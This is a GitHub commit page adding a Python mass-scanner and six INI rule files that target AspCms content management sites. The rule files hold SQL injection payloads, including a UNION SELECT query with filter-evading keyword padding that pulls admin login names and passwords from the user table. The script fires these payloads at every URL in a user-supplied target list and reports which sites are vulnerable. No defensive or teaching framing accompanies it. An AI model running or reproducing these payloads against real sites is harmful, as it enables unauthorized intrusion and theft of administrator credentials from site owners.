Skip to content

Commit 69cecb4

Browse files
jiushilljiushill
authored
Add files via upload
1 parent 0b48f73 commit 69cecb4

7 files changed

Lines changed: 327 additions & 0 deletions

‎cms_debug/asp_cms/AspCms_AboutEdit_sqlinject.ini‎

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
[Test404]
2+
CMS=AspCms
3+
跳过1=false
4+
漏洞路径=/admin/_content/_About/AspCms_AboutEdit.asp
5+
判断状态1=true
6+
状态码1=200
7+
重定向1=false
8+
数据编码=GBK2312
9+
跳过2=false
10+
请求路径=/admin/_content/_About/AspCms_AboutEdit.asp?id=1 and 1=2
11+
请求方式=GET
12+
判断状态2=true
13+
状态码2=200
14+
重定向2=false
15+
上传协议=false
16+
包含文本=true
17+
排除文本=false
18+
特征文本=没有这条记录
19+
过滤HTML标签=false
20+
正则处理=false
21+
正则表达式=
22+
结果取中间=false
23+
域名地址=true
24+
最终结果=false
25+
拼接文本=/admin/_content/_About/AspCms_AboutEdit.asp?id=1
26+
POST参数=
27+
前面文本=
28+
后面文本=
29+
[HTTP头]
30+
HTTP头=

‎cms_debug/asp_cms/AspCms_cookies_faker_1.ini‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
[Test404]
2+
漏洞路径=/config/AspCms_Config.asp
3+
重定向1=false
4+
判断状态1=true
5+
状态码1=200
6+
请求路径=/admin/login.asp
7+
重定向2=false
8+
请求方式=GET
9+
POST参数=
10+
数据编码=自动识别
11+
判断状态2=true
12+
状态码2=200
13+
特征文本=Copyright ©2010-2011
14+
包含文本=true
15+
排除文本=false
16+
过滤HTML标签=false
17+
正则处理=false
18+
正则表达式=
19+
结果取中间=false
20+
前面文本=
21+
后面文本=
22+
域名地址=true
23+
最终结果=false
24+
拼接文本=/admin/login.asp
25+
[HTTP头]
26+
HTTP头=

‎cms_debug/asp_cms/AspCms_cookies_faker_2.ini‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
[Test404]
2+
漏洞路径=/config/AspCms_Config.asp
3+
重定向1=false
4+
判断状态1=true
5+
状态码1=200
6+
请求路径=/admin_aspcms/login.asp
7+
重定向2=false
8+
请求方式=GET
9+
POST参数=
10+
数据编码=自动识别
11+
判断状态2=true
12+
状态码2=200
13+
特征文本=Copyright ©2010-2011
14+
包含文本=true
15+
排除文本=false
16+
过滤HTML标签=false
17+
正则处理=false
18+
正则表达式=
19+
结果取中间=false
20+
前面文本=
21+
后面文本=
22+
域名地址=true
23+
最终结果=false
24+
拼接文本=/admin_aspcms/login.asp
25+
[HTTP头]
26+
HTTP头=

‎cms_debug/asp_cms/AspCms_cookies_faker_3.ini‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
[Test404]
2+
漏洞路径=/config/AspCms_Config.asp
3+
重定向1=false
4+
判断状态1=true
5+
状态码1=200
6+
请求路径=/R_WebManage/login.asp
7+
重定向2=false
8+
请求方式=GET
9+
POST参数=
10+
数据编码=自动识别
11+
判断状态2=true
12+
状态码2=200
13+
特征文本=Copyright ©2010-2011
14+
包含文本=true
15+
排除文本=false
16+
过滤HTML标签=false
17+
正则处理=false
18+
正则表达式=
19+
结果取中间=false
20+
前面文本=
21+
后面文本=
22+
域名地址=true
23+
最终结果=false
24+
拼接文本=/R_WebManage/login.asp
25+
[HTTP头]
26+
HTTP头=

‎cms_debug/asp_cms/AspCms_sql_admin.ini‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
[Test404]
2+
漏洞路径=/admin/login.asp
3+
重定向1=false
4+
判断状态1=true
5+
状态码1=200
6+
请求路径=/plug/comment/commentList.asp?id=0 unmasterion semasterlect top 1 UserID,GroupID,LoginName,Password,now(),null,1 frmasterom {prefix}user'
7+
重定向2=false
8+
请求方式=GET
9+
POST参数=
10+
数据编码=自动识别
11+
判断状态2=true
12+
状态码2=200
13+
特征文本=评论
14+
包含文本=true
15+
排除文本=false
16+
过滤HTML标签=true
17+
正则处理=true
18+
正则表达式=评论者：(.*) IP： .*\n(.*)
19+
结果取中间=false
20+
前面文本=
21+
后面文本=
22+
域名地址=false
23+
最终结果=true
24+
拼接文本=
25+
[HTTP头]
26+
HTTP头=

‎cms_debug/asp_cms/AspCms_sql_admin_2.ini‎

Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
[Test404]
2+
漏洞路径=/admin_aspcms/login.asp
3+
重定向1=false
4+
判断状态1=true
5+
状态码1=200
6+
请求路径=/plug/comment/commentList.asp?id=0 unmasterion semasterlect top 1 UserID,GroupID,LoginName,Password,now(),null,1 frmasterom {prefix}user
7+
重定向2=false
8+
请求方式=GET
9+
POST参数=
10+
数据编码=GBK2312
11+
判断状态2=true
12+
状态码2=200
13+
特征文本=评论
14+
包含文本=true
15+
排除文本=false
16+
过滤HTML标签=true
17+
正则处理=true
18+
正则表达式=评论者：(.*) IP： .*\n(.*)
19+
结果取中间=false
20+
前面文本=
21+
后面文本=
22+
域名地址=false
23+
最终结果=true
24+
拼接文本=
25+
[HTTP头]
26+
HTTP头=

‎cms_debug/cms_debug.py‎

Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
import requests
2+
import os
3+
import threading
4+
import configparser
5+
6+
cz=[]
7+
user=input('jiu@url:')
8+
def pd():
9+
if os.path.exists(user):
10+
print('[+]Opens {} ok'.format(user))
11+
else:
12+
print('[-]Not {} Found'.format(user))
13+
exit()
14+
15+
def exploit(xian):
16+
print(xian)
17+
ok=[]
18+
no=[]
19+
errors=['404','Not Found','500','360','502','安全狗','防火墙','百度云加速','已被拦截','无权访问','云锁','D盾']
20+
headers={'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36'}
21+
print('''
22+
[0]AspCms_AboutEdit_sqlinject
23+
[1]AspCms_cookies_faker_1
24+
[2]AspCms_cookies_faker_2
25+
[3]AspCms_cookies_faker_3
26+
[4]AspCms_sql_admin
27+
''')
28+
all=input('Start all->[y/n/l]')
29+
if all=='y':
30+
AspCms_AboutEdit_sqlinject='AspCms_AboutEdit_sqlinjectTrue'
31+
AspCms_cookies_faker_1='AspCms_cookies_faker_1True'
32+
AspCms_cookies_faker_2='AspCms_cookies_faker_2True'
33+
AspCms_cookies_faker_3='AspCms_cookies_faker_3True'
34+
AspCms_sql_admin='AspCms_sql_adminTrue'
35+
AspCms_sql_admin2='AspCms_sql_admin2True'
36+
cz.append(AspCms_AboutEdit_sqlinject)
37+
cz.append(AspCms_cookies_faker_1)
38+
cz.append(AspCms_cookies_faker_2)
39+
cz.append(AspCms_cookies_faker_3)
40+
cz.append(AspCms_sql_admin)
41+
cz.append(AspCms_sql_admin2)
42+
elif all=='n':
43+
aspall=input('Start Aspcmsall->[y/n]')
44+
if aspall=='y':
45+
AspCms_AboutEdit_sqlinject = 'AspCms_AboutEdit_sqlinjectTrue'
46+
AspCms_cookies_faker_1 = 'AspCms_cookies_faker_1True'
47+
AspCms_cookies_faker_2 = 'AspCms_cookies_faker_2True'
48+
AspCms_cookies_faker_3 = 'AspCms_cookies_faker_3True'
49+
AspCms_sql_admin='AspCms_sql_adminTrue'
50+
AspCms_sql_admin2='AspCms_sql_admin2True'
51+
cz.append(AspCms_AboutEdit_sqlinject)
52+
cz.append(AspCms_cookies_faker_1)
53+
cz.append(AspCms_cookies_faker_2)
54+
cz.append(AspCms_cookies_faker_3)
55+
cz.append(AspCms_sql_admin)
56+
cz.append(AspCms_sql_admin2)
57+
elif all=='l':
58+
xw=input('AspCms_AboutEdit_sqlinject->[y/n]')
59+
xw2=input('AspCms_cookies_faker_1->[y/n]')
60+
xw3=input('AspCms_cookies_faker_2->[y/n]')
61+
xw4=input('AspCms_cookies_faker_3->[y/n]')
62+
xw5=input('AspCms_sql_admin->[y/n]')
63+
xw6=input('AspCms_sql_admin2->[y/n]')
64+
65+
if xw=='y':
66+
AspCms_AboutEdit_sqlinject='AspCms_AboutEdit_sqlinjectTrue'
67+
cz.append(AspCms_AboutEdit_sqlinject)
68+
else:
69+
AspCms_AboutEdit_sqlinject=False
70+
71+
if xw2=='y':
72+
AspCms_cookies_faker_1='AspCms_cookies_faker_1True'
73+
cz.append(AspCms_cookies_faker_1)
74+
else:
75+
AspCms_cookies_faker_1=False
76+
77+
if xw3=='y':
78+
AspCms_cookies_faker_2='AspCms_cookies_faker_2True'
79+
cz.append(AspCms_cookies_faker_2)
80+
else:
81+
AspCms_cookies_faker_2=False
82+
83+
if xw4=='y':
84+
AspCms_cookies_faker_3='AspCms_cookies_faker_3True'
85+
cz.append(AspCms_cookies_faker_3)
86+
else:
87+
AspCms_cookies_faker_3=False
88+
89+
if xw5=='y':
90+
AspCms_sql_admin='AspCms_sql_adminTrue'
91+
cz.append(AspCms_sql_admin)
92+
else:
93+
AspCms_sql_admin=False
94+
95+
if xw6=='y':
96+
AspCms_sql_admin2='AspCms_sql_admin2True'
97+
cz.append(AspCms_sql_admin2)
98+
else:
99+
AspCms_sql_admin2=False
100+
101+
dk = open('{}'.format(user), 'r')
102+
for r in dk.readlines():
103+
url = "".join(r.split('\n')).rstrip('/')
104+
for c in cz:
105+
if 'AspCms_AboutEdit_sqlinjectTrue' in c:
106+
dq=configparser.ConfigParser()
107+
dq.read('asp_cms/AspCms_AboutEdit_sqlinject.ini',encoding='gbk')
108+
urls1='{}{}'.format(url,dq.get('Test404','请求路径'))
109+
reqt1=requests.get(url=urls1,headers=headers,allow_redirects=False)
110+
if dq.get('Test404','特征文本') in reqt1.text and reqt1.status_code==dq.get('Test404','状态码2'):
111+
print('[+]AspCms_AboutEdit_sqlinject URL:{}'.format(reqt1.url))
112+
else:
113+
print('[-]Not AspCms_AboutEdit_sqlinjectTrue url:{}:'.format(urls1))
114+
115+
if 'AspCms_cookies_faker_1True' in c:
116+
dq2=configparser.ConfigParser()
117+
dq2.read('asp_cms/AspCms_cookies_faker_1.ini',encoding='gbk')
118+
urls2='{}{}'.format(url,dq2.get('Test404','请求路径'))
119+
reqt2=requests.get(url=urls2,headers=headers,allow_redirects=False)
120+
if dq2.get('Test404','特征文本') in reqt2.text and reqt2.status_code==dq2.get('Test404','状态码2'):
121+
print('[+]AspCms_cookies_faker_1 URL:{}'.format(reqt2.url))
122+
else:
123+
print('[-]Not AspCms_cookies_faker_1 url:{}'.format(reqt2.url))
124+
125+
if 'AspCms_cookies_faker_2True' in c:
126+
dq3=configparser.ConfigParser()
127+
dq3.read('asp_cms/AspCms_cookies_faker_2.ini',encoding='gbk')
128+
urls3='{}{}'.format(url,dq3.get('Test404','请求路径'))
129+
reqt3=requests.get(url=urls3,headers=headers,allow_redirects=False)
130+
if dq3.get('Test404','特征文本') in reqt3.text and reqt3.status_code==dq3.get('Test404','状态码2'):
131+
print('[+]AspCms_cookies_faker_2 URL:{}'.format(reqt3.url))
132+
else:
133+
print('[-]Not AspCms_cookies_faker_2 url:{}'.format(reqt3.url))
134+
135+
if 'AspCms_cookies_faker_3True' in c:
136+
dq4 = configparser.ConfigParser()
137+
dq4.read('asp_cms/AspCms_cookies_faker_3.ini', encoding='gbk')
138+
urls4 = '{}{}'.format(url, dq4.get('Test404', '请求路径'))
139+
reqt4 = requests.get(url=urls4, headers=headers, allow_redirects=False)
140+
if dq4.get('Test404', '特征文本') in reqt4.text and reqt4.status_code == dq4.get('Test404', '状态码2'):
141+
print('[+]AspCms_cookies_faker_4 URL:{}'.format(reqt4.url))
142+
else:
143+
print('[-]Not AspCms_cookies_faker_4 url:{}'.format(reqt4.url))
144+
145+
if 'AspCms_sql_adminTrue' in c:
146+
dq5=configparser.ConfigParser()
147+
dq5.read('asp_cms/AspCms_sql_admin.ini',encoding='gbk')
148+
urls5='{}{}'.format(url,dq5.get('Test404','请求路径'))
149+
reqt5=requests.get(url=urls5,headers=headers,allow_redirects=False)
150+
if dq5.get('Test404','特征文本') in reqt5.text and reqt5.status_code==dq5.get('Test404','状态码2'):
151+
print('[+]AspCms_sql_admin URL:{}'.format(reqt5.url))
152+
else:
153+
print('[-]Not AspCms_sql_admin url:{}'.format(reqt5.url))
154+
155+
if 'AspCms_sql_admin2True' in c:
156+
dq6=configparser.ConfigParser()
157+
dq6.read('asp_cms/AspCms_sql_admin_2.ini',encoding='gbk')
158+
urls6='{}{}'.format(url,dq6.get('Test404','请求路径'))
159+
reqt6=requests.get(url=urls6,headers=headers,allow_redirects=False)
160+
if dq6.get('Test404','特征文本') in reqt6.text and reqt6.status_code==dq6.get('Test404','状态码2'):
161+
print('[+]AspCms_sql_admin2 URL:{}'.format(reqt6.url))
162+
else:
163+
print('[-]Not AspCms_sql_admin2 url:{}'.format(reqt6.url))
164+
165+
xis=50
166+
t=threading.Thread(target=exploit,args=(xis,))
167+
t.start()

0 commit comments

Comments
 (0)